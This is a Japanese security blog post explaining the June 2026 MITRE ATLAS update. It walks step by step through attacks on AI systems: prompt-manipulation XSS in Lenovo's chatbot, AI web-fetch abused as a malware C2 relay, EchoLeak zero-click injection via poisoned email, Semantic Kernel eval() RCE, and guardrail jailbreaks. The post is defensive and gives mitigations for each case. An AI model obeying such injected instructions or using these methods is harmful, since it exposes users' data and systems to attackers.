こんにちは！ChillStackのリサーチ&ソリューション部でエンジニアをしている長澤です。
本記事は、AIセキュリティの最前線を追う「MITRE ATLAS」の最新アップデート内容をわかりやすく解説する連載の第3回目です。
2026年4月にスタートした本連載ですが、2026年5月アップデート（v5.6.0）に続き、今回は2026年6月30日に公開されたアップデート（v2026.06）の新規追加・更新項目について解説します。
前回の記事はこちらになります。
参考一次情報
- MITRE ATLAS 公式サイト: https://atlas.mitre.org/
- MITRE ATLAS v2026.06 更新情報（GitHub）: https://github.com/mitre-atlas/atlas-data/releases/tag/v2026.06
- ※本文中で取り上げる TechniqueやCase Studyについても、各節で対応する公式URLを記載します。
はじめに
そもそも「MITRE ATLAS」とは？
本題に入る前に、「MITRE ATLAS（マイター・アトラス）」について少しだけ説明します。
（以前の連載記事をお読みの方や、MITRE ATLASについてすでにご存知の方は飛ばしていただいて大丈夫です！）
簡単に言うと、これは 「AIシステムに対する実際のサイバー攻撃の手口と、その防御策を体系的にまとめた世界的なナレッジベース（知識データベース）」 です。
MITRE ATLASは単なる脅威の羅列ではなく、攻撃の全体像を論理的に分析できるよう、主に以下の要素で構成されています。
- タクティクス (Tactics - 目的): 攻撃者が何を達成したいかという「目的」です。例えば、「Initial Access（システムへの初期侵入）」「Exfiltration（情報の持ち出し）」「Impact（システムへの破壊・妨害）」などがあります。
- テクニック / サブテクニック (Techniques - 手法): 目的を達成するための「具体的な攻撃手法」です。「LLM Prompt Injection（AIへの悪意ある指示の混入）」や、データを盗み出す「Exfiltration via AI Inference API（API経由でのデータ抽出）」などがこれに当たります。より細分化されたものをサブテクニックと呼びます。
- ケーススタディ (Case Studies - 実例): 実際に世の中で起きたインシデントや、セキュリティ研究者による実証実験の「事例集」です。攻撃者が複数のテクニックをどう組み合わせてAIを騙したかが、ステップごと解説されています。
- 緩和策 (Mitigations - 対策): 紹介された攻撃手法を防ぐ、または被害を軽減するための「対策」です。
- マトリクス (Matrix - 全体マップ): これらを攻撃のライフサイクル順（偵察 → 侵入 → 実行 → 影響など）に表形式で並べた「全体マップ」です。
企業やAI開発者は、このMITRE ATLASを「AIシステムの健康診断ツール」や「設計のガイドライン」として活用できます。
今回のアップデート：実社会との連携に伴う「Webフロントと間接経路」の標的化
これまでのAI攻撃は、モデル自体のアルゴリズム的脆弱性が多くを占めていました。しかし、今回のv2026.06アップデートを見ると、AIが実際の社内システムやWebインターフェース、メールクライアントといった「実運用環境」に深く統合された結果、「Webフロントエンドを介したセッションCookieの奪取」や「間接的なプロンプトインジェクションによる自動的な情報漏洩（ゼロクリック脅威）」が極めて具体的なリスクとして浮き彫りになっています。
今回は新設された3つの新規テクニック、6つの新規ケーススタディ、そして更新された緩和策（Mitigations）を中心に、その内容を深く読み解いていきます。
⚠️ 本記事で示した対策はMITRE ATLASの公式推奨ではなく、公開情報を踏まえた考え方の一例として紹介しています。あらかじめご了承ください。
追加要素1：WebベースAIサービスの悪用とセッション管理の侵害
AIがWebブラウザのインターフェースやチャットUIと深く結合し、またAIサービス自体が外部Webを閲覧できるようになったことで、従来のWebセキュリティの脆弱性とAIのプロンプトインジェクションが融合した新たな侵害手口が定義されました。
今回、以下の3つのテクニックが新設されています。
Steal Web Session Cookie（WebセッションCookieの窃取 - AML.T0113）
プロンプトインジェクションなどを通じて、AIチャットUIや管理画面に悪意あるJavaScriptを実行させ、オペレーターや管理者のセッションCookie（ログイン認証情報）を盗み出す手法です。パスワードや多要素認証（MFA）を知らなくても、Cookieを入手するだけでその担当者として認証されてしまいます。
Use Alternate Authentication Material: Web Session Cookie（代替認証情報の使用: WebセッションCookie - AML.T0091.001）
盗んだセッションCookieをブラウザにインポートし、被害者として認証する手法です（Use Alternate Authentication Material（代替認証情報の使用） - AML.T0091 のサブテクニック）。AIサービスのチャット履歴、エージェント管理画面、顧客サポートシステムなど、AIに繋がる様々なシステムへのアクセスが可能になります。
AI Service Web Interface（AIサービスWebインターフェース - AML.T0114）
マルウェアが、GrokやCopilotなど公開AIサービスのWebUI（ログイン不要のWeb閲覧・要約機能）をC2チャネル（攻撃者との通信経路）として悪用する手法です。通信が「普通のAI利用」に見えるため、一般的なファイアウォールや通信監視ツールでは検知が難しいです。
この3つのテクニックが組み合わさった攻撃手口を、具体的な事例を用いて解説します。
事例1：Lenovo AI Chatbotにおけるプロンプト操作型XSSインシデント
概要（Cross-Site Scripting via Prompt Manipulation in Lenovo AI Chatbot（Lenovo AIチャットボットにおけるプロンプト操作型XSS） - AML.CS0060）
Lenovoが運用するAIチャットボット「Lena」にCybernewsのリサーチチームが攻撃を検証した事例です。
外部の攻撃者が一般ユーザーとして問い合わせするだけで、後から顧客サポート担当者の管理者アカウントを乗っ取れる点がこの攻撃の最大の脅威です。攻撃者は、盗んだサポートシステム担当者のセッションCookie（ログイン認証情報）を用いてシステムにアクセスすることで、顧客の個人情報やチケット履歴の閲覧、顧客への返信などが可能になります。
攻撃ステップ
- 攻撃者が一般チャットUIから、「Lenovo IdeaPadの仕様」といった一見無害な質問の中に、悪意あるHTMLとJavaScriptコードを出力させるプロンプトを注入する。
- Lenaが指示に従ってJavaScriptを含むHTMLを出力し、それがチャット履歴としてシステムに保存される（蓄積型XSSの成立）。
- 攻撃者が人間のサポート担当者への接続を要求する。
- サポート担当者が管理画面で履歴を開くと、保存されていたスクリプトが自動実行され、担当者のセッションCookie（ログイン認証情報）が攻撃者のサーバーへ送信される。
対策（緩和策と筆者意見）
- 厳格な出力サニタイズ（エスケープ処理）：AIが生成したテキストをWebフロントエンド側でレンダリングする際、HTMLタグやスクリプトを一切評価しない（エスケープする）実装を徹底します。
-
Cookieのセキュア属性の強制（筆者提案）：管理用セッションCookie（ログイン認証情報）に
HttpOnly属性を付与し、万が一スクリプト注入攻撃（XSS）が成立した場合でも、JavaScriptからCookieの値を読み取れないように遮断します。
事例2：AI in the Middle：AIアシスタントを攻撃者の中継基地として悪用
概要（AI in the Middle: Web-Based AI Services as C2 Relays（AI in the Middle：WebベースAIサービスのC2リレー悪用） - AML.CS0061）
Check Point Researchが「Grok」「Microsoft Copilot」を使って実証した攻撃手口です。
端末がマルウェアに感染されていても、セキュリティ部門がまったく気づけない点がこの攻撃の最大の脅威です。通常、マルウェアが攻撃者サーバーと通信すると社内の通信監視で異常検知されます。しかしこの手口ではすべての通信が「CopilotやGrokへの普通のHTTPS通信」として見えるため、ファイアウォールや監視ツールには引っかかりません。端末から情報が盗まれ、攻撃者からの命令も届き、事実上の遠隔操作が成立するにもかかわらず、ログには「社員がAIを使っていた」記録しか残りません。
攻撃ステップ
- 端末に潜伏したマルウェアが、収集した被害者の端末情報を読み解かれないよう変換した上で、公開AIチャットUIを介して「この攻撃者管理URLを要約せよ」 +
https://攻撃サーバー?data={実際の機密情報を暗号したもの}のような形で送信する（データをURLパラメータに乗せることで盗み出す）。 - AIサービスがWeb閲覧ツールで攻撃者サーバーへ接続。この通信は外側から見ると「社員がAIを使った」記録しか残らない。
- 攻撃者サーバーが「実行すべきコマンド」を仕込んだWebページを返し、AIサービスがそれを要約してマルウェアへ返答する。
- マルウェアがAIの返答からコマンドを取り出し、端末上で実行する（例：ファイルの外漏、電卓の起動など）。
対策（緩和策を優先して適用）
- Web-fetch機能の制限と認証の必須化（筆者提案・リサーチャー提言）：パブリックなAIアシスタント機能において、匿名または認証なし（unauthenticated）での自由な外部URL fetch機能を制限し、利用時の厳格なアカウント認証を必須化します。
- AI Telemetry Logging（AIテレメトリロギング - AML.M0024）とネットワーク可視化：AIシステムが内部から不審な外部URLに対してリクエスト（Web閲覧）を開始していないか、AIアシスタントとの対話においてランダムな文字の羅列のような不審なデータが送信されていないかを記録し、監視・監査できる体制を構築します。
追加要素2：プロンプトインジェクションによる「ゼロクリック」データ漏洩とRCE
プロンプトインジェクションの脅威は「対話型で騙す」レベルから、「人間が介在しない環境でサイレントに実行され、直接的な破壊や漏洩を引き起こす」レベルへと大きく進歩しています。
以下の2つのケーススタディは、まさに上記のようなシナリオを体現したものです。今回のアップデートで追加されたこれらの事例は、新規テクニックではなく既存テクニックの「深刻な応用例」として登録されています。関連する主なテクニックは以下の通りです。
- Indirect Prompt Injection（間接プロンプトインジェクション - AML.T0051.001）：攻撃者が直接AIに話しかけるのではなく、メールやドキュメントなどの外部データに悪意ある指示を埋め込み、AIがそのデータを読み込んだ際に自動実行させる手法（EchoLeakの核心）。
- RAG Poisoning（RAG汚染 - AML.T0070）：RAGシステムが参照するデータに悪意ある内容を注入し、AIが後の回答時にその指示を実行させる手法（EchoLeakで使用）。
- Command and Scripting Interpreter（コマンド実行 - AML.T0050）：AIエージェントがプラグインや実行環境を通じて任意のシステムコマンドを実行させられる手法（Semantic Kernel RCEの結果として発生）。
事例1：EchoLeak：メール受信のみで発動するゼロクリックの機密データ漏洩
概要（EchoLeak: Zero-Click Prompt Injection Targeting M365 Copilot for Data Exfiltration（EchoLeak：M365 Copilotを標的としたゼロクリックプロンプトインジェクションによるデータ漏洩） - AML.CS0059）
Aim Securityが発見した、M365 Copilotを利用する組織を狙った攻撃です。
攻撃者がメールを1通送るだけで、受信者が一切操作しなくても社内の機密情報が流出する点がこの攻撃の最大の脅威です。そのメールを開かなくても、削除していても、次にCopilotを別の目的で使った瞬間に発動します。M365上のメール・ドキュメントが丸ごと対象になりうる上、発動タイミングが「別の操作時」なので非常に気づきにくいのも特徴です。
攻撃ステップ
- 攻撃者が、機密情報の検索とMarkdown画像リンクへの埋め込みを指示するコードを隠した、ビジネス調のメールを送信する。
- 受信したメールが、Copilotが回答時に参照する社内データ（RAG）として自動的に取り込まれる（RAG汚染）。
- ユーザーが後日別の質問をCopilotにすると、汚染されたメールが参照され、隠し指示が実行される。
- Copilotが社内の機密データを探し出し、「
」という形のMarkdown画像リンクを回答に埋め込む。 - OutlookなどのクライアントがこのURLを自動で読み込もうとし、ユーザーの操作なしに情報が攻撃者のサーバーへ送信される。
対策（テクニックdocsの緩和策を最優先）
- Generative AI Guardrails（ジェネレーティブAIガードレール - AML.M0020）による出力モデレーション：クライアントが回答を描画する前に、回答テキストに含まれるMarkdown画像タグや不審な画像URL、エンコードされたパラメータが含まれていないかをスキャンし、ブロックまたはリダクション（無効化）します。
- Generative AI Guidelines（外部ソースに対するガイドライン - AML.M0021）の設定：メールや外部Webサイトなどの外部データ（Untrusted Data）を参照する際、それらを「解釈・実行すべき命令」ではなく「単に要約されるべきテキストデータ」として扱うよう、システムプロンプト等で徹底して制約（中和指示）を課します。
事例2：Semantic Kernel Search PluginにおけるRCE（遠隔コード実行）
概要（RCE Vulnerability in Semantic Kernel Search Plugin（Semantic Kernel Search PluginにおけるRCE脆弱性） - AML.CS0062）
Microsoft Defenderのセキュリティチームが発見した、AIエージェント開発フレームワーク「Microsoft Semantic Kernel」の脆弱性です（CVE-2026-26030、パッチ適用済み）。
「AIにプロンプトを送るだけ」でサーバーを乗っ取れる点がこの脆弱性の最大の脅威です。マルウェアの設置や事前の侵入なしに、AIへのテキスト入力のみでOSコマンドが実行でき、サーバー上の全データへのアクセスやバックドアの設置などが可能になります。「ユーザーの代わりにツールを自律的に実行する」というAIエージェントの特性が、入力値の検証漏れを致命的なリスクに変える典型例です。
攻撃ステップ
- 攻撃者がAIエージェントに「XXについて検索して」といったプロンプトを送り、その検索条件の中に
eval()を悪用できる特殊なコードを仕込む。 - エージェントがその検索を実行する際、検索条件値を検証せずそのまま
eval()に渡してしまう（eval()は文字列をPythonコードとしてそのまま実行する関数）。 -
eval()によって攻撃者のOSコマンドがサーバー上で直接実行され、サーバーが乗っ取られる。
対策（テクニックdocsの緩和策）
- Input and Output Validation for AI Agent Components（AIエージェント向けコンポーネントの入出力検証 - AML.M0033）：AIエージェントがプラグインや外部ツールに入力値を渡す前に、期待するデータ形式かどうかの検査や、悪意あるコードとして実行されうる特殊文字の除去を「AIの外部」で独立して行います。
-
動的実行（eval）の役割と排除（筆者提案）：
eval()やexec()は、Pythonで文字列をそのままコードとして実行できる関数で、ユーザー入力を渡す場合このような機能は特に危険です。ユーザー入力が関与する可能性がある実装ではこれらの使用を設計レベルで完全に禁止し、安全な組み込み機能に置き換えます。
その他アップデート
ここからは、ここまでに紹介した2つの大きな追加要素に含まれていない、その他の新規項目やアップデートについて紹介します。
事例1：Storm-2139 Azure OpenAI Guardrail Bypass（Storm-2139によるAzure OpenAI Serviceのガードレール回避 - AML.CS0057）
攻撃グループ「Storm-2139」が、公開リポジトリや流出した公開情報から他組織の認証情報をスクレイピングで収集し、Azure OpenAI Serviceの有効なアカウントへアクセスしたインシデントです。
攻撃グループは、安全フィルターやコンテンツポリシーを体系的に回避（Jailbreak）して、露骨な性描写、暴力、有名人の偽画像（ディープフェイク）といった不適切・有害コンテンツを生成・配信する独自のフロントエンドツール「de3u」を開発・運営し、別の犯罪者向けに販売していました。本事例に対し、Microsoftは法的な対抗措置に踏み切っています。
- Control Access to AI Models and Data in Production（本番環境のAIモデルとデータへのアクセス制御 - AML.M0019）：APIキーなどの認証情報の徹底した管理とローテーションに加え、不審なリクエストパターンやJailbreakツールからの接続形跡を監視する認証強化・ログ監視の仕組みが推奨されます。
事例2：Google Photos AI Model Extraction（Google Photos AndroidアプリからのAIモデル抽出 - AML.CS0058）
セキュリティ研究グループ「Skyld」が、Androidアプリ「Google Photos」のAPKパッケージを静的・動的に解析（リバースエンジニアリング）し、アプリに埋め込まれている TensorFlow Lite モデルを完全に抽出した検証です。
アプリのアセットに暗号化なしで保存されているものや、ネイティブライブラリにハードコードされているモデルのほか、ディスク上で暗号化されているモデルについても、アプリ実行時にメモリ上で展開されるタイミングをデバッグツール「Frida」で監視（フック）することで、復号済みのTFLiteモデルファイルの回収に成功しました。
- Control Access to AI Models and Data at Rest / AI Model Distribution Methods（保存中のAIモデルとデータへのアクセス制御 / AIモデルの配布方法 - AML.M0005, AML.M0017）：機密性の高い独自モデルは、エッジ端末（ローカルアプリ）に配布するのではなく、セキュアなクラウド側でAPIとして提供（Serve models in the cloud）し、クライアントへのホワイトボックスアクセスを防止することが極めて有効です。
既存テクニック・緩和策の更新
- LLM Jailbreak（LLM脱獄 - AML.T0054）のアップデート：Crescendo（複数ターンによる段階的な脱獄）や、Echo Chamber、およびモデルのウェイトから安全アライメント（調整）を取り除く「Abliteration」など、急速に進化している自動・手動の最新脱獄テクニックについての解説が拡充されました。
- 各種緩和策の更新：Generative AI Guardrails（ジェネレーティブAIガードレール - AML.M0020）、Generative AI Guidelines（外部ソースに対するガイドライン - AML.M0021）、AI Telemetry Logging（AIテレメトリロギング - AML.M0024）などが更新され、入力 moderation や出力検証、エージェント特有のログ監視（意思決定ステップの記録など）の重要性がより具体化されました。
まとめ
2026年6月のMITRE ATLASアップデート（v2026.06）から、AIセキュリティが決して「モデル単体の安全性」だけを語る段階ではなく、「実運用システムやWebブラウザ等と結合した際の総合的なセキュリティ設計」を問う段階に完全に移行していることが分かります。
AIに外部ツールやWeb閲覧、メールの自動取り込みなどの「便利で強力な能力（MCPツールなど）」を接続すればするほど、攻撃者にとっての足がかり（初期侵入・不正コード実行・ゼロクリックデータ漏洩の標的）も爆発的に増大します。
企業がAIエージェントやAIアシスタントを安全に導入・運用する際は、以下3つのアクションを実務チェックリストに組み込むことを推奨します。
- 外部ソースからの「自動・無害化なきインジェスト」を制限する（EchoLeak対策）：メールやドキュメントなど、第三者から供給される未検証データ（Untrusted Data）をAIエージェントのコンテキストに暗号化やバリデーションなしで直接自動流入させない、あるいは回答表示時に画像タグなどのレンダリングフィルター（ガードレール）を徹底する。
-
AIチャットUI側のWebフロントエンドセッション管理を分離・防御する（Lenovo XSS対策）：AIが出力する回答に含まれるHTMLタグを一切レンダリングせず、常にエスケープすることを最優先とし、さらに管理者Cookieには例外なく
HttpOnly属性を設定する。 -
AIエージェントコンポーネントにおける「外部での入出力検証」を標準化する（Semantic Kernel RCE対策）：AIフレームワークやエージェントの処理の間に、厳格な入力/出力の形式チェック（Input and Output Validation for AI Agent Components（AIエージェント向けコンポーネントの入出力検証） - AML.M0033）を外部に挟む。また、ユーザー入力を含む値に対してPythonの
eval()やexec()を使う実装は設計レベルで絶対に排除し、ライブラリの脆弱性管理（依存関係スキャン）を行う。
⚠️ 本記事で示した対策はMITRE ATLASの公式推奨ではなく、公開情報を踏まえた考え方の一例として紹介しています。あらかじめご了承ください。
最後に
本記事の内容が、AIエージェントやMCPを安全に運用するための実務的なチェックの参考になれば幸いです。今後もMITRE ATLASのアップデートが公開されるたびに、追加項目を実務目線で継続的に解説していきます。
ChillStackではAIセキュリティの分野に興味がある、または経験がある方を募集しています。この記事を見てご興味を持っていただけた方や、より詳しいことを聞いてみたいという方はカジュアル面談でお話しできますので、ぜひご連絡ください。
会社概要
採用ページ
公式Note
Discussion